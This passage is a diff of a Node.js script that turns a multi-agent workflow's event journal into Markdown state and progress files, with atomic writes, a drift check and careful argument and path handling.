527
|
+
);
|
|
528
|
+
|
|
529
|
+
parts.push('\n## Agents\n\n');
|
|
530
|
+
parts.push(
|
|
531
|
+
table(
|
|
532
|
+
['Agent', 'Role', 'Model', 'Ticket', 'Worktree', 'Status', 'Spawned'],
|
|
533
|
+
sortByKey(state.agents, (a) => `${a.agent} ${a.spawnTs ?? ''}`).map((a) => [
|
|
534
|
+
inline(a.agent),
|
|
535
|
+
inline(a.role),
|
|
536
|
+
inline(a.model),
|
|
537
|
+
inline(a.ticket),
|
|
538
|
+
inline(a.worktree),
|
|
539
|
+
a.status === 'running'
|
|
540
|
+
? '**running (no report yet)**'
|
|
541
|
+
: `${inline(a.status)}${a.verdict == null ? '' : `: ${inline(a.verdict)}`}`,
|
|
542
|
+
inline(a.spawnTs),
|
|
543
|
+
]),
|
|
544
|
+
),
|
|
545
|
+
);
|
|
546
|
+
|
|
547
|
+
parts.push('\n## Ledger\n\n');
|
|
548
|
+
parts.push(
|
|
549
|
+
table(
|
|
550
|
+
['Ticket', 'Title', 'Status', 'Deps', 'Agents', 'Last event'],
|
|
551
|
+
state.ticketList.map((t) => [
|
|
552
|
+
`\`${inline(t.id)}\`${t.declared ? '' : ' _(no ticket.created)_'}`,
|
|
553
|
+
inline(t.title),
|
|
554
|
+
inline(ticketStatus(t)),
|
|
555
|
+
inline(t.deps),
|
|
556
|
+
inline(t.agents.length === 0 ? null : t.agents),
|
|
557
|
+
inline(t.lastTs),
|
|
558
|
+
]),
|
|
559
|
+
),
|
|
560
|
+
);
|
|
561
|
+
|
|
562
|
+
parts.push('\n## Open gates\n\n');
|
|
563
|
+
parts.push(
|
|
564
|
+
table(
|
|
565
|
+
['Gate', 'Latest result', 'At', 'Evidence'],
|
|
566
|
+
sortByKey(state.openGates, (g) => g.kind).map((g) => [
|
|
567
|
+
inline(g.kind),
|
|
568
|
+
inline(g.result),
|
|
569
|
+
inline(g.ts),
|
|
570
|
+
inline(g.evidence),
|
|
571
|
+
]),
|
|
572
|
+
),
|
|
573
|
+
);
|
|
574
|
+
|
|
575
|
+
parts.push('\n## All gates\n\n');
|
|
576
|
+
parts.push(
|
|
577
|
+
table(
|
|
578
|
+
['Gate', 'Latest result', 'Events', 'At'],
|
|
579
|
+
sortByKey([...state.gates.values()], (g) => g.kind).map((g) => [
|
|
580
|
+
inline(g.kind),
|
|
581
|
+
inline(g.result),
|
|
582
|
+
String(g.count),
|
|
583
|
+
inline(g.ts),
|
|
584
|
+
]),
|
|
585
|
+
),
|
|
586
|
+
);
|
|
587
|
+
|
|
588
|
+
parts.push('\n## Open leases\n\n');
|
|
589
|
+
parts.push(
|
|
590
|
+
table(
|
|
591
|
+
['Resource', 'Holder', 'Acquired'],
|
|
592
|
+
sortByKey([...state.leases.values()], (l) => l.resource).map((l) => [
|
|
593
|
+
inline(l.resource),
|
|
594
|
+
inline(l.holder),
|
|
595
|
+
inline(l.ts),
|
|
596
|
+
]),
|
|
597
|
+
),
|
|
598
|
+
);
|
|
599
|
+
|
|
600
|
+
parts.push('\n## Lease releases by a non-holder\n\n');
|
|
601
|
+
parts.push(
|
|
602
|
+
table(
|
|
603
|
+
['Resource', 'Released by', 'Actual holder', 'At'],
|
|
604
|
+
state.mismatchedReleases.map((m) => [inline(m.resource), inline(m.by), inline(m.holder), inline(m.ts)]),
|
|
605
|
+
),
|
|
606
|
+
);
|
|
607
|
+
|
|
608
|
+
parts.push('\n## Decisions\n\n');
|
|
609
|
+
parts.push(
|
|
610
|
+
table(
|
|
611
|
+
['ID', 'Decision', 'At', 'By'],
|
|
612
|
+
sortByKey(state.decisions, (d) => d.id).map((d) => [
|
|
613
|
+
`\`${inline(d.id)}\``,
|
|
614
|
+
inline(d.text),
|
|
615
|
+
inline(d.ts),
|
|
616
|
+
inline(d.actor),
|
|
617
|
+
]),
|
|
618
|
+
),
|
|
619
|
+
);
|
|
620
|
+
|
|
621
|
+
parts.push('\n## Retro entries\n\n');
|
|
622
|
+
parts.push(
|
|
623
|
+
table(
|
|
624
|
+
['Kind', 'Target', 'Confidence', 'At'],
|
|
625
|
+
state.retro.map((r) => [inline(r.kind), inline(r.target), inline(r.confidence), inline(r.ts)]),
|
|
626
|
+
),
|
|
627
|
+
);
|
|
628
|
+
|
|
629
|
+
parts.push('\n## Errors\n\n');
|
|
630
|
+
parts.push(
|
|
631
|
+
table(
|
|
632
|
+
['Class', 'Detail', 'At', 'By'],
|
|
633
|
+
state.errors.map((e) => [inline(e.class), inline(e.detail), inline(e.ts), inline(e.actor)]),
|
|
634
|
+
),
|
|
635
|
+
);
|
|
636
|
+
|
|
637
|
+
parts.push('\n## Resume steps\n\n');
|
|
638
|
+
const steps = cp?.nextSteps;
|
|
639
|
+
const stepList = Array.isArray(steps) ? steps : steps == null || steps === '' ? [] : [steps];
|
|
640
|
+
parts.push(stepList.length === 0 ? '_none_\n' : stepList.map((s, i) => `${i + 1}. ${inline(s)}\n`).join(''));
|
|
641
|
+
|
|
642
|
+
parts.push('\n## Journal integrity\n\n');
|
|
643
|
+
const typeCounts = sortByKey([...state.byType.entries()], (e) => e[0]).map(
|
|
644
|
+
([ev, n]) => `\`${inline(ev)}\` ${n}`,
|
|
645
|
+
);
|
|
646
|
+
parts.push(
|
|
647
|
+
list([
|
|
648
|
+
`**Events folded:** ${state.total}`,
|
|
649
|
+
`**Unknown event types:** ${state.unknownTypes.size === 0 ? '0' : inline([...state.unknownTypes.keys()].join(', '))}`,
|
|
650
|
+
`**Non-object lines skipped:** ${state.malformed}`,
|
|
651
|
+
`**Corrupt lines skipped:** ${state.corruptLines}`,
|
|
652
|
+
`**Truncated final line:** ${state.truncatedTail ? 'yes (crash mid-write; skipped)' : 'no'}`,
|
|
653
|
+
`**Timespan:** ${inline(state.firstTs)} → ${inline(state.lastTs)}`,
|
|
654
|
+
`**Events by type:** ${typeCounts.length === 0 ? '_none_' : typeCounts.join(' · ')}`,
|
|
655
|
+
]),
|
|
656
|
+
);
|
|
657
|
+
return parts.join('');
|
|
658
|
+
}
|
|
659
|
+
|
|
660
|
+
function milestoneSummary(m) {
|
|
661
|
+
const d = m.data ?? {};
|
|
662
|
+
switch (m.ev) {
|
|
663
|
+
case 'init.created':
|
|
664
|
+
return inline(d.title ?? 'initiative opened');
|
|
665
|
+
case 'plan.accepted':
|
|
666
|
+
return inline('plan accepted');
|
|
667
|
+
case 'gate':
|
|
668
|
+
return `${inline(d.kind)} → ${inline(d.result)}`;
|
|
669
|
+
case 'merge':
|
|
670
|
+
return `${inline(d.ticket)} → ${inline(d.sha)}`;
|
|
671
|
+
case 'checkpoint':
|
|
672
|
+
return `phase ${inline(d.phase)}`;
|
|
673
|
+
default:
|
|
674
|
+
return '—';
|
|
675
|
+
}
|
|
676
|
+
}
|
|
677
|
+
|
|
678
|
+
function renderProgress(state) {
|
|
679
|
+
const parts = [GENERATED_HEADER, `\n# ${progressLine(state)}\n`];
|
|
680
|
+
parts.push(`\nInitiative: **${initiativeName(state)}** · see \`${STATE_FILE}\` for the full state.\n`);
|
|
681
|
+
|
|
682
|
+
parts.push('\n## Tickets\n\n');
|
|
683
|
+
parts.push(
|
|
684
|
+
state.ticketList.length === 0
|
|
685
|
+
? '_none_\n'
|
|
686
|
+
: state.ticketList
|
|
687
|
+
.map((t) => `- [${t.merge ? 'x' : ' '}] \`${inline(t.id)}\` — ${inline(ticketStatus(t))}${
|
|
688
|
+
t.title ? ` — ${inline(t.title)}` : ''
|
|
689
|
+
}\n`)
|
|
690
|
+
.join(''),
|
|
691
|
+
);
|
|
692
|
+
|
|
693
|
+
parts.push('\n## Open gates\n\n');
|
|
694
|
+
parts.push(
|
|
695
|
+
sortByKey(state.openGates, (g) => g.kind).length === 0
|
|
696
|
+
? '_none_\n'
|
|
697
|
+
: sortByKey(state.openGates, (g) => g.kind)
|
|
698
|
+
.map((g) => `- **${inline(g.kind)}** — ${inline(g.result)} (${inline(g.ts)})\n`)
|
|
699
|
+
.join(''),
|
|
700
|
+
);
|
|
701
|
+
|
|
702
|
+
parts.push('\n## Milestones\n\n');
|
|
703
|
+
const shown = state.milestones.slice(-MAX_MILESTONES);
|
|
704
|
+
const omitted = state.milestones.length - shown.length;
|
|
705
|
+
if (omitted > 0) parts.push(`_${omitted} earlier milestone(s) omitted — the journal keeps them all._\n\n`);
|
|
706
|
+
parts.push(
|
|
707
|
+
table(
|
|
708
|
+
['When', 'Event', 'Summary'],
|
|
709
|
+
shown.map((m) => [inline(m.ts), `\`${inline(m.ev)}\``, milestoneSummary(m)]),
|
|
710
|
+
),
|
|
711
|
+
);
|
|
712
|
+
return parts.join('');
|
|
713
|
+
}
|
|
714
|
+
|
|
715
|
+
/**
|
|
716
|
+
* Render both projections from a journal read result.
|
|
717
|
+
* Returns `{ files: { name: content }, state, warnings }`.
|
|
718
|
+
*/
|
|
719
|
+
export function renderProjections(readResult) {
|
|
720
|
+
const state = fold(readResult);
|
|
721
|
+
return {
|
|
722
|
+
state,
|
|
723
|
+
warnings: warnings(state),
|
|
724
|
+
files: { [STATE_FILE]: renderState(state), [PROGRESS_FILE]: renderProgress(state) },
|
|
725
|
+
};
|
|
726
|
+
}
|
|
727
|
+
|
|
728
|
+
/** Read a journal file and render both projections. */
|
|
729
|
+
export function projectFile(file) {
|
|
730
|
+
if (!existsSync(file)) {
|
|
731
|
+
throw new IOError(`journal not found: ${resolve(file)}`);
|
|
732
|
+
}
|
|
733
|
+
if (statSync(file).isDirectory()) {
|
|
734
|
+
throw new IOError(`journal path is a directory, not a file: ${resolve(file)}`);
|
|
735
|
+
}
|
|
736
|
+
return renderProjections(readJournal(file));
|
|
737
|
+
}
|
|
738
|
+
|
|
739
|
+
// ------------------------------------------------------------------ I/O
|
|
740
|
+
|
|
741
|
+
let tmpCounter = 0;
|
|
742
|
+
|
|
743
|
+
/** Atomic write: a concurrent reader sees the old or the new file, never half. */
|
|
744
|
+
export function writeAtomic(path, content) {
|
|
745
|
+
const tmp = tempPathFor(path);
|
|
746
|
+
try {
|
|
747
|
+
writeFileSync(tmp, content, 'utf8');
|
|
748
|
+
renameSync(tmp, path);
|
|
749
|
+
} catch (err) {
|
|
750
|
+
cleanUp(tmp);
|
|
751
|
+
throw err;
|
|
752
|
+
}
|
|
753
|
+
}
|
|
754
|
+
|
|
755
|
+
function tempPathFor(path) {
|
|
756
|
+
return join(dirname(path), `.${Date.now().toString(36)}-${process.pid}-${tmpCounter++}.tmp`);
|
|
757
|
+
}
|
|
758
|
+
|
|
759
|
+
function cleanUp(tmp) {
|
|
760
|
+
try {
|
|
761
|
+
unlinkSync(tmp);
|
|
762
|
+
} catch {
|
|
763
|
+
/* nothing to clean up */
|
|
764
|
+
}
|
|
765
|
+
}
|
|
766
|
+
|
|
767
|
+
/**
|
|
768
|
+
* Write a set of files as close to atomically as a filesystem allows: stage
|
|
769
|
+
* EVERY temp file first, then rename them all. A failure while staging (full
|
|
770
|
+
* disk, no permission) therefore leaves the previous projections completely
|
|
771
|
+
* untouched, instead of swapping STATE.md and then failing on PROGRESS.md.
|
|
772
|
+
*
|
|
773
|
+
* The pair is still not one transaction — the window shrinks to the gap
|
|
774
|
+
* between two renames rather than spanning a whole document write.
|
|
775
|
+
*/
|
|
776
|
+
export function writeAllAtomic(entries) {
|
|
777
|
+
const staged = [];
|
|
778
|
+
try {
|
|
779
|
+
for (const [path, content] of entries) {
|
|
780
|
+
const tmp = tempPathFor(path);
|
|
781
|
+
writeFileSync(tmp, content, 'utf8');
|
|
782
|
+
staged.push([tmp, path]);
|
|
783
|
+
}
|
|
784
|
+
} catch (err) {
|
|
785
|
+
for (const [tmp] of staged) cleanUp(tmp);
|
|
786
|
+
throw err;
|
|
787
|
+
}
|
|
788
|
+
for (let i = 0; i < staged.length; i++) {
|
|
789
|
+
try {
|
|
790
|
+
renameSync(staged[i][0], staged[i][1]);
|
|
791
|
+
} catch (err) {
|
|
792
|
+
// A rename failing part-way leaves earlier files already swapped — that
|
|
793
|
+
// window is documented. What must NOT happen is temp files piling up as
|
|
794
|
+
// hidden dotfiles in .tyran/state/<init>/, invisible to --check.
|
|
795
|
+
for (const [tmp] of staged.slice(i)) cleanUp(tmp);
|
|
796
|
+
throw err;
|
|
797
|
+
}
|
|
798
|
+
}
|
|
799
|
+
}
|
|
800
|
+
|
|
801
|
+
/**
|
|
802
|
+
* Byte-exact comparison against what is on disk. Deliberately NOT normalized:
|
|
803
|
+
* whitespace, CRLF, BOM and a missing trailing newline are all drift, because
|
|
804
|
+
* a hand-edited projection is exactly what `--check` exists to catch.
|
|
805
|
+
*/
|
|
806
|
+
export function checkFile(path, expected) {
|
|
807
|
+
if (!existsSync(path)) return { path, ok: false, reason: 'missing on disk' };
|
|
808
|
+
const actual = readFileSync(path);
|
|
809
|
+
const want = Buffer.from(expected, 'utf8');
|
|
810
|
+
if (actual.equals(want)) return { path, ok: true };
|
|
811
|
+
const a = actual.toString('utf8').split('\n');
|
|
812
|
+
const b = expected.split('\n');
|
|
813
|
+
let first = null;
|
|
814
|
+
let differing = 0;
|
|
815
|
+
for (let i = 0; i < Math.max(a.length, b.length); i++) {
|
|
816
|
+
if (a[i] !== b[i]) {
|
|
817
|
+
differing++;
|
|
818
|
+
if (first === null) first = i + 1;
|
|
819
|
+
}
|
|
820
|
+
}
|
|
821
|
+
const sizes = `(on disk: ${actual.length} B, expected: ${want.length} B)`;
|
|
822
|
+
return {
|
|
823
|
+
path,
|
|
824
|
+
ok: false,
|
|
825
|
+
reason:
|
|
826
|
+
differing === 0
|
|
827
|
+
? `same text, different bytes — encoding or BOM ${sizes}`
|
|
828
|
+
: `${differing} of ${b.length} line(s) differ, first at line ${first} ${sizes}`,
|
|
829
|
+
};
|
|
830
|
+
}
|
|
831
|
+
|
|
832
|
+
// ------------------------------------------------------------------- CLI
|
|
833
|
+
|
|
834
|
+
class UsageError extends Error {}
|
|
835
|
+
class IOError extends Error {}
|
|
836
|
+
|
|
837
|
+
const BOOLEAN_FLAGS = ['check'];
|
|
838
|
+
const VALUE_FLAGS = ['out-dir'];
|
|
839
|
+
|
|
840
|
+
export function parseArgs(argv) {
|
|
841
|
+
const flags = {};
|
|
842
|
+
const rest = [];
|
|
843
|
+
for (let i = 0; i < argv.length; i++) {
|
|
844
|
+
const arg = argv[i];
|
|
845
|
+
if (arg.startsWith('--')) {
|
|
846
|
+
const name = arg.slice(2);
|
|
847
|
+
// A repeated flag silently overriding itself is how a projection ends
|
|
848
|
+
// up in the wrong directory — refuse instead of guessing.
|
|
849
|
+
if (name in flags) throw new Error(`flag --${name} was given twice`);
|
|
850
|
+
if (BOOLEAN_FLAGS.includes(name)) {
|
|
851
|
+
flags[name] = true;
|
|
852
|
+
} else if (VALUE_FLAGS.includes(name)) {
|
|
853
|
+
const value = argv[++i];
|
|
854
|
+
if (value === undefined || value.startsWith('--')) throw new Error(`flag --${name} requires a value`);
|
|
855
|
+
flags[name] = value;
|
|
856
|
+
} else {
|
|
857
|
+
throw new Error(`unknown flag --${name}`);
|
|
858
|
+
}
|
|
859
|
+
} else rest.push(arg);
|
|
860
|
+
}
|
|
861
|
+
if (rest.length === 0) throw new UsageError();
|
|
862
|
+
if (rest.length > 1) throw new Error(`unexpected extra argument "${rest[1]}"`);
|
|
863
|
+
return { journal: rest[0], outDir: flags['out-dir'], check: flags.check === true };
|
|
864
|
+
}
|
|
865
|
+
|
|
866
|
+
function main() {
|
|
867
|
+
try {
|
|
868
|
+
const { journal, outDir, check } = parseArgs(process.argv.slice(2));
|
|
869
|
+
const dir = outDir ?? dirname(resolve(journal));
|
|
870
|
+
const { files, state, warnings: warn } = projectFile(journal);
|
|
871
|
+
for (const w of warn) console.error(`project: warning: ${w}`);
|
|
872
|
+
|
|
873
|
+
// Zero signal, pure noise: not one event parsed, yet the file had content
|
|
874
|
+
// we could not read. That is a wrong path or a non-journal file, and
|
|
875
|
+
// overwriting a good STATE.md with an empty one would hand the operator a
|
|
876
|
+
// false picture of the initiative under a success exit code.
|
|
877
|
+
//
|
|
878
|
+
// `truncatedTail` counts as damage too: readJournal classifies a final
|
|
879
|
+
// line without a trailing newline as truncated rather than corrupt, so a
|
|
880
|
+
// one-line file (minified JSON, a token, a single log line) would
|
|
881
|
+
// otherwise walk straight through this gate. A journal whose very first
|
|
882
|
+
// append died mid-write lands here as well, and that is the intended
|
|
883
|
+
// reading: zero readable events plus any trace of damage means we do not
|
|
884
|
+
// project.
|
|
885
|
+
//
|
|
886
|
+
// An EMPTY journal (no events, no damage at all) stays perfectly legal
|
|
887
|
+
// and projects to empty documents; partial damage with >= 1 readable
|
|
888
|
+
// event still only warns.
|
|
889
|
+
if (state.total === 0 && (state.corruptLines + state.malformed > 0 || state.truncatedTail)) {
|
|
890
|
+
// Only report damage that actually occurred: "0 corrupt line(s),
|
|
891
|
+
// 0 non-object line(s)" next to a refusal reads like a contradiction.
|
|
892
|
+
const damage = [
|
|
893
|
+
state.corruptLines > 0 ? `${state.corruptLines} corrupt line(s)` : null,
|
|
894
|
+
state.malformed > 0 ? `${state.malformed} non-object line(s)` : null,
|
|
895
|
+
state.truncatedTail ? 'a truncated final line' : null,
|
|
896
|
+
].filter(Boolean);
|
|
897
|
+
throw new IOError(
|
|
898
|
+
`this does not look like a journal: 0 readable events, ` +
|
|
899
|
+
`${damage.join(', ')} — refusing to overwrite projections in ${dir}`,
|
|
900
|
+
);
|
|
901
|
+
}
|
|
902
|
+
|
|
903
|
+
if (check) {
|
|
904
|
+
const results = Object.entries(files).map(([name, content]) => checkFile(join(dir, name), content));
|
|
905
|
+
const drifted = results.filter((r) => !r.ok);
|
|
906
|
+
if (drifted.length === 0) {
|
|
907
|
+
console.log(`projections up to date (${results.length} files in ${dir})`);
|
|
908
|
+
return;
|
|
909
|
+
}
|
|
910
|
+
for (const r of drifted) console.error(`project: drift: ${r.path} — ${r.reason}`);
|
|
911
|
+
console.error(`project: regenerate with: node scripts/project.mjs ${journal} --out-dir ${dir}`);
|
|
912
|
+
process.exit(1);
|
|
913
|
+
}
|
|
914
|
+
|
|
915
|
+
mkdirSync(dir, { recursive: true });
|
|
916
|
+
writeAllAtomic(Object.entries(files).map(([name, content]) => [join(dir, name), content]));
|
|
917
|
+
for (const [name, content] of Object.entries(files)) {
|
|
918
|
+
const path = join(dir, name);
|
|
919
|
+
console.log(`wrote ${path} (${Buffer.byteLength(content, 'utf8')} B)`);
|
|
920
|
+
}
|
|
921
|
+
} catch (err) {
|
|
922
|
+
if (err instanceof UsageError) {
|
|
923
|
+
console.error('usage: project.mjs <journal.jsonl> [--out-dir <dir>] [--check]');
|
|
924
|
+
process.exit(2);
|
|
925
|
+
}
|
|
926
|
+
console.error(`project: ${err.message}`);
|
|
927
|
+
// An unexpected internal failure must not masquerade as a usage error:
|
|
928
|
+
// print the stack so the bug is reportable, then still fail loudly.
|
|
929
|
+
if (!(err instanceof IOError) && !(err instanceof Error && err.constructor === Error)) {
|
|
930
|
+
console.error(err.stack);
|
|
931
|
+
}
|
|
932
|
+
process.exit(2);
|
|
933
|
+
}
|
|
934
|
+
}
|
|
935
|
+
|
|
936
|
+
/**
|
|
937
|
+
* Canonical absolute path, falling back to the merely-resolved one when the
|
|
938
|
+
* path cannot be canonicalized.
|
|
939
|
+
*
|
|
940
|
+
* The fallback is load-bearing, and NOT for `node --eval`: there argv[1] is
|
|
941
|
+
* undefined and the caller returns before ever reaching this. It is for the
|
|
942
|
+
* cases where argv[1] names something realpath cannot follow — the script
|
|
943
|
+
* directory was renamed or deleted after launch, a parent component is an
|
|
944
|
+
* unreadable directory (EACCES), or a launcher/shim rewrote argv[1] to a
|
|
945
|
+
* logical name that was never a real file. Without the fallback the guard
|
|
946
|
+
* throws ENOENT out of module scope and the tool dies at startup, which is a
|
|
947
|
+
* different bug, not a fix.
|
|
948
|
+
*/
|
|
949
|
+
function canonicalPath(path) {
|
|
950
|
+
const abs = resolve(path);
|
|
951
|
+
try {
|
|
952
|
+
return realpathSync(abs);
|
|
953
|
+
} catch {
|
|
954
|
+
return abs;
|
|
955
|
+
}
|
|
956
|
+
}
|
|
957
|
+
|
|
958
|
+
/**
|
|
959
|
+
* True when this module is the program's entry point.
|
|
960
|
+
*
|
|
961
|
+
* BOTH sides must be canonicalized. `import.meta.url` already names the real
|
|
962
|
+
* file — Node resolves module specifiers through symlinks — while
|
|
963
|
+
* `process.argv[1]` is whatever the caller typed. Comparing them raw turned
|
|
964
|
+
* every invocation through a symlinked path into a SILENT no-op under exit 0:
|
|
965
|
+
* `main()` never ran, no projection was written, nothing said so. That is not
|
|
966
|
+
* theoretical — `/tmp` and `/var` are symlinks on macOS, and plugin installs
|
|
967
|
+
* routinely reach `scripts/` through one.
|
|
968
|
+
*
|
|
969
|
+
* Deliberately duplicated in journal.mjs rather than shared: this is boot
|
|
970
|
+
* boilerplate, not a domain rule. ADR-18 is about one RULE having one
|
|
971
|
+
* implementation (see pairSpawns), which this is not — and the difference is
|
|
972
|
+
* visible in what DID get shared: the invisibility rule moved to
|
|
973
|
+
* scripts/invisible.mjs because three copies of it had drifted apart, while
|
|
974
|
+
* these eight lines have no semantics to drift.
|
|
975
|
+
*/
|
|
976
|
+
function isMainModule(moduleUrl) {
|
|
977
|
+
if (!process.argv[1]) return false;
|
|
978
|
+
return canonicalPath(process.argv[1]) === canonicalPath(fileURLToPath(moduleUrl));
|
|
979
|
+
}
|
|
980
|
+
|
|
981
|
+
if (isMainModule(import.meta.url)) main();
|